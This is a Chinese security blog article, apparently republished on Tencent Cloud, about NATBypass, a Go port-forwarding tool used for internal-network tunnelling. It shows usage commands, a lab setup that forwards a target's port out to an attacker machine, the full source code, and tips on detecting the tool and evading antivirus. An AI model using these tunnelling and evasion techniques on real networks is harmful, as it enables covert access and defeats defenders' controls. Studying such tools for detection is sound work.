前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >内网隧道之NATBypass

内网隧道之NATBypass

作者头像
红客突击队
发布2022-09-29 21:13:35
4420
发布2022-09-29 21:13:35
举报
文章被收录于专栏:kayden

内网隧道之NATBypass

前言

本文研究端口转发的一个工具,NATBypass

github:https://github.com/cw1997/NATBypass

一、概述

1、简介

最后更新于2018年,可认为是lcx在golang下的实现

  • 支持跨平台
  • 支持TCP
  • 优势在于可能不会被查杀

2、原理

服务端监听两个本地端口111、222,客户端建立一个端口转发,比如将本地3389转发到服务端的一个端口111,服务端监听的另一个端口222就相当于客户端的3389,即服务端可以将流量通过端口222传输到客户端

3、用法

代码语言:javascript
复制
nb -listen port1 port2 # 同时监听port1端口和port2端口,当两个客户端主动连接上这两个监听端口之后,nb负责这两个端口间的数据转发。
nb -tran port1 ip:port2 # 本地开始监听port1端口,当port1端口上接收到来自客户端的主动连接之后,nb将主动连接ip:port2,并且负责port1端口和ip:port2之间的数据转发
nb -slave ip1:port1 ip2:port2 # 本地开始主动连接ip1:port1主机和ip2:port2主机,当连接成功之后,nb负责这两个主机之间的数据转发
nb -log filedirpath #日志,不要使用包含空格以及各种特殊字符的文件路径,可使用Linux下的tail -f命令将转发数据实时显示出来

二、实践

1、测试场景

攻击机(服务端):kali 192.168.10.128

目标机(客户端):ubuntu 192.168.10.129

都没有限制TCP连接

2、建立隧道

(1)服务端

监听1111和2222端口

代码语言:javascript
复制
./nb -listen 1111 2222  

(2)客户端

先开启Apache

然后将80端口转发至服务端1111端口

代码语言:javascript
复制
./nb -slave 127.0.0.1:80 192.168.10.128:1111

(3)成功建立

还可以nc、ssh等,根据端口来确定服务

3、抓包看看

三、探索

1、源码与分析

思想非常简单,就是调用net库,然后将对应IP和端口的信息对接

代码语言:javascript
复制
package main

import (
  "fmt"
  "io"
  "log"
  "net"
  "os"
  "regexp"
  "strconv"
  "strings"
  "sync"
  "time"
)

const timeout = 5

func main() {
  //log.SetFlags(log.Ldate | log.Lmicroseconds | log.Lshortfile)
  log.SetFlags(log.Ldate | log.Lmicroseconds)

  printWelcome()

  args := os.Args
  argc := len(os.Args)
  if argc <= 2 {
    printHelp()
    os.Exit(0)
  }

  //TODO:support UDP protocol

  /*var logFileError error
  if argc > 5 && args[4] == "-log" {
    logPath := args[5] + "/" + time.Now().Format("2006_01_02_15_04_05") // "2006-01-02 15:04:05"
    logPath += args[1] + "-" + strings.Replace(args[2], ":", "_", -1) + "-" + args[3] + ".log"
    logPath = strings.Replace(logPath, `\`, "/", -1)
    logPath = strings.Replace(logPath, "//", "/", -1)
    logFile, logFileError = os.OpenFile(logPath, os.O_APPEND|os.O_CREATE, 0666)
    if logFileError != nil {
      log.Fatalln("[x]", "log file path error.", logFileError.Error())
    }
    log.Println("[√]", "open test log file success. path:", logPath)
  }*/

  switch args[1] {
  case "-listen":
    if argc < 3 {
      log.Fatalln(`-listen need two arguments, like "nb -listen 1997 2017".`)
    }
    port1 := checkPort(args[2])
    port2 := checkPort(args[3])
    log.Println("[√]", "start to listen port:", port1, "and port:", port2)
    port2port(port1, port2)
    break
  case "-tran":
    if argc < 3 {
      log.Fatalln(`-tran need two arguments, like "nb -tran 1997 192.168.1.2:3389".`)
    }
    port := checkPort(args[2])
    var remoteAddress string
    if checkIp(args[3]) {
      remoteAddress = args[3]
    }
    split := strings.SplitN(remoteAddress, ":", 2)
    log.Println("[√]", "start to transmit address:", remoteAddress, "to address:", split[0]+":"+port)
    port2host(port, remoteAddress)
    break
  case "-slave":
    if argc < 3 {
      log.Fatalln(`-slave need two arguments, like "nb -slave 127.0.0.1:3389 8.8.8.8:1997".`)
    }
    var address1, address2 string
    checkIp(args[2])
    if checkIp(args[2]) {
      address1 = args[2]
    }
    checkIp(args[3])
    if checkIp(args[3]) {
      address2 = args[3]
    }
    log.Println("[√]", "start to connect address:", address1, "and address:", address2)
    host2host(address1, address2)
    break
  default:
    printHelp()
  }
}

// 作者标签,可删掉
func printWelcome() {
  fmt.Println("+----------------------------------------------------------------+")
  fmt.Println("| Welcome to use NATBypass Ver1.0.0 .                            |")
  fmt.Println("| Code by cw1997 at 2017-10-19 03:59:51                          |")
  fmt.Println("| If you have some problem when you use the tool,                |")
  fmt.Println("| please submit issue at : https://github.com/cw1997/NATBypass . |")
  fmt.Println("+----------------------------------------------------------------+")
  fmt.Println()
  // sleep one second because the fmt is not thread-safety.
  // if not to do this, fmt.Print will print after the log.Print.
  time.Sleep(time.Second)
}

func printHelp() {
  fmt.Println(`usage: "-listen port1 port2" example: "nb -listen 1997 2017" `)
  fmt.Println(`       "-tran port1 ip:port2" example: "nb -tran 1997 192.168.1.2:3389" `)
  fmt.Println(`       "-slave ip1:port1 ip2:port2" example: "nb -slave 127.0.0.1:3389 8.8.8.8:1997" `)
  fmt.Println(`============================================================`)
  fmt.Println(`optional argument: "-log logpath" . example: "nb -listen 1997 2017 -log d:/nb" `)
  fmt.Println(`log filename format: Y_m_d_H_i_s-agrs1-args2-args3.log`)
  fmt.Println(`============================================================`)
  fmt.Println(`if you want more help, please read "README.md". `)
}

// 确认IP和端口的输入正确
func checkPort(port string) string {
  PortNum, err := strconv.Atoi(port)
  if err != nil {
    log.Fatalln("[x]", "port should be a number")
  }
  if PortNum < 1 || PortNum > 65535 {
    log.Fatalln("[x]", "port should be a number and the range is [1,65536)")
  }
  return port
}

func checkIp(address string) bool {
  ipAndPort := strings.Split(address, ":")
  if len(ipAndPort) != 2 {
    log.Fatalln("[x]", "address error. should be a string like [ip:port]. ")
  }
  ip := ipAndPort[0]
  port := ipAndPort[1]
  checkPort(port)
  pattern := `^(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])$`
  ok, err := regexp.MatchString(pattern, ip)
  if err != nil || !ok {
    log.Fatalln("[x]", "ip error. ")
  }
  return ok
}


func port2port(port1 string, port2 string) {
  listen1 := start_server("0.0.0.0:" + port1)
  listen2 := start_server("0.0.0.0:" + port2)
  log.Println("[√]", "listen port:", port1, "and", port2, "success. waiting for client...")
  for {
    conn1 := accept(listen1)
    conn2 := accept(listen2)
    if conn1 == nil || conn2 == nil {
      log.Println("[x]", "accept client faild. retry in ", timeout, " seconds. ")
      time.Sleep(timeout * time.Second)
      continue
    }
    forward(conn1, conn2)
  }
}

func port2host(allowPort string, targetAddress string) {
  server := start_server("0.0.0.0:" + allowPort)
  for {
    conn := accept(server)
    if conn == nil {
      continue
    }
    //println(targetAddress)
    go func(targetAddress string) {
      log.Println("[+]", "start connect host:["+targetAddress+"]")
      target, err := net.Dial("tcp", targetAddress)
      if err != nil {
        // temporarily unavailable, don't use fatal.
        log.Println("[x]", "connect target address ["+targetAddress+"] faild. retry in ", timeout, "seconds. ")
        conn.Close()
        log.Println("[←]", "close the connect at local:["+conn.LocalAddr().String()+"] and remote:["+conn.RemoteAddr().String()+"]")
        time.Sleep(timeout * time.Second)
        return
      }
      log.Println("[→]", "connect target address ["+targetAddress+"] success.")
      forward(target, conn)
    }(targetAddress)
  }
}

func host2host(address1, address2 string) {
  for {
    log.Println("[+]", "try to connect host:["+address1+"] and ["+address2+"]")
    var host1, host2 net.Conn
    var err error
    for {
      host1, err = net.Dial("tcp", address1)
      if err == nil {
        log.Println("[→]", "connect ["+address1+"] success.")
        break
      } else {
        log.Println("[x]", "connect target address ["+address1+"] faild. retry in ", timeout, " seconds. ")
        time.Sleep(timeout * time.Second)
      }
    }
    for {
      host2, err = net.Dial("tcp", address2)
      if err == nil {
        log.Println("[→]", "connect ["+address2+"] success.")
        break
      } else {
        log.Println("[x]", "connect target address ["+address2+"] faild. retry in ", timeout, " seconds. ")
        time.Sleep(timeout * time.Second)
      }
    }
    forward(host1, host2)
  }
}

func start_server(address string) net.Listener {
  log.Println("[+]", "try to start server on:["+address+"]")
  server, err := net.Listen("tcp", address)
  if err != nil {
    log.Fatalln("[x]", "listen address ["+address+"] faild.")
  }
  log.Println("[√]", "start listen at address:["+address+"]")
  return server
  /*defer server.Close()

  for {
    conn, err := server.Accept()
    log.Println("accept a new client. remote address:[" + conn.RemoteAddr().String() +
      "], local address:[" + conn.LocalAddr().String() + "]")
    if err != nil {
      log.Println("accept a new client faild.", err.Error())
      continue
    }
    //go recvConnMsg(conn)
  }*/
}

// 传输数据
func accept(listener net.Listener) net.Conn {
  conn, err := listener.Accept()
  if err != nil {
    log.Println("[x]", "accept connect ["+conn.RemoteAddr().String()+"] faild.", err.Error())
    return nil
  }
  log.Println("[√]", "accept a new client. remote address:["+conn.RemoteAddr().String()+"], local address:["+conn.LocalAddr().String()+"]")
  return conn
}

func forward(conn1 net.Conn, conn2 net.Conn) {
  log.Printf("[+] start transmit. [%s],[%s] <-> [%s],[%s] \n", conn1.LocalAddr().String(), conn1.RemoteAddr().String(), conn2.LocalAddr().String(), conn2.RemoteAddr().String())
  var wg sync.WaitGroup
  // wait tow goroutines
  wg.Add(2)
  go connCopy(conn1, conn2, &wg)
  go connCopy(conn2, conn1, &wg)
  //blocking when the wg is locked
  wg.Wait()
}

// 记录log
func connCopy(conn1 net.Conn, conn2 net.Conn, wg *sync.WaitGroup) {
  //TODO:log, record the data from conn1 and conn2.
  logFile := openLog(conn1.LocalAddr().String(), conn1.RemoteAddr().String(), conn2.LocalAddr().String(), conn2.RemoteAddr().String())
  if logFile != nil {
    w := io.MultiWriter(conn1, logFile)
    io.Copy(w, conn2)
  } else {
    io.Copy(conn1, conn2)
  }
  conn1.Close()
  log.Println("[←]", "close the connect at local:["+conn1.LocalAddr().String()+"] and remote:["+conn1.RemoteAddr().String()+"]")
  //conn2.Close()
  //log.Println("[←]", "close the connect at local:["+conn2.LocalAddr().String()+"] and remote:["+conn2.RemoteAddr().String()+"]")
  wg.Done()
}
func openLog(address1, address2, address3, address4 string) *os.File {
  args := os.Args
  argc := len(os.Args)
  var logFileError error
  var logFile *os.File
  if argc > 5 && args[4] == "-log" {
    address1 = strings.Replace(address1, ":", "_", -1)
    address2 = strings.Replace(address2, ":", "_", -1)
    address3 = strings.Replace(address3, ":", "_", -1)
    address4 = strings.Replace(address4, ":", "_", -1)
    timeStr := time.Now().Format("2006_01_02_15_04_05") // "2006-01-02 15:04:05"
    logPath := args[5] + "/" + timeStr + args[1] + "-" + address1 + "_" + address2 + "-" + address3 + "_" + address4 + ".log"
    logPath = strings.Replace(logPath, `\`, "/", -1)
    logPath = strings.Replace(logPath, "//", "/", -1)
    logFile, logFileError = os.OpenFile(logPath, os.O_APPEND|os.O_CREATE, 0666)
    if logFileError != nil {
      log.Fatalln("[x]", "log file path error.", logFileError.Error())
    }
    log.Println("[√]", "open test log file success. path:", logPath)
  }
  return logFile
}

2、检测与绕过

(1)特征字符串和特征码

命令和log里的特征字符串可以作为检测特征

然后是代码里的特征码,类似lcx的查杀会定位hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID);

绕过方法:修改掉相应的特征

(2)端口控制

这类端口转发的工具,如果端口限制死就失去作用了

绕过方法:无

(3)进程和库调用

通过终端的进程链控制和第三方库的调用情况在做检测

绕过方法:白进程利用,尽可能不调用库,加壳,主要是木马免杀那套

结语

就是端口转发,只不过可能因为用Go写,又比较新,所以查杀方面还没跟上


红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-05-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红客突击队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • (2)客户端
  • (3)成功建立
  • 3、抓包看看
  • 三、探索
    • 1、源码与分析
    相关产品与服务
    NAT 网关
    NAT 网关(NAT Gateway)提供 IP 地址转换服务,为腾讯云内资源提供高性能的 Internet 访问服务。通过 NAT 网关,在腾讯云上的资源可以更安全的访问 Internet,保护私有网络信息不直接暴露公网;您也可以通过 NAT 网关实现海量的公网访问,最大支持1000万以上的并发连接数;NAT 网关还支持 IP 级流量管控,可实时查看流量数据,帮助您快速定位异常流量,排查网络故障。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档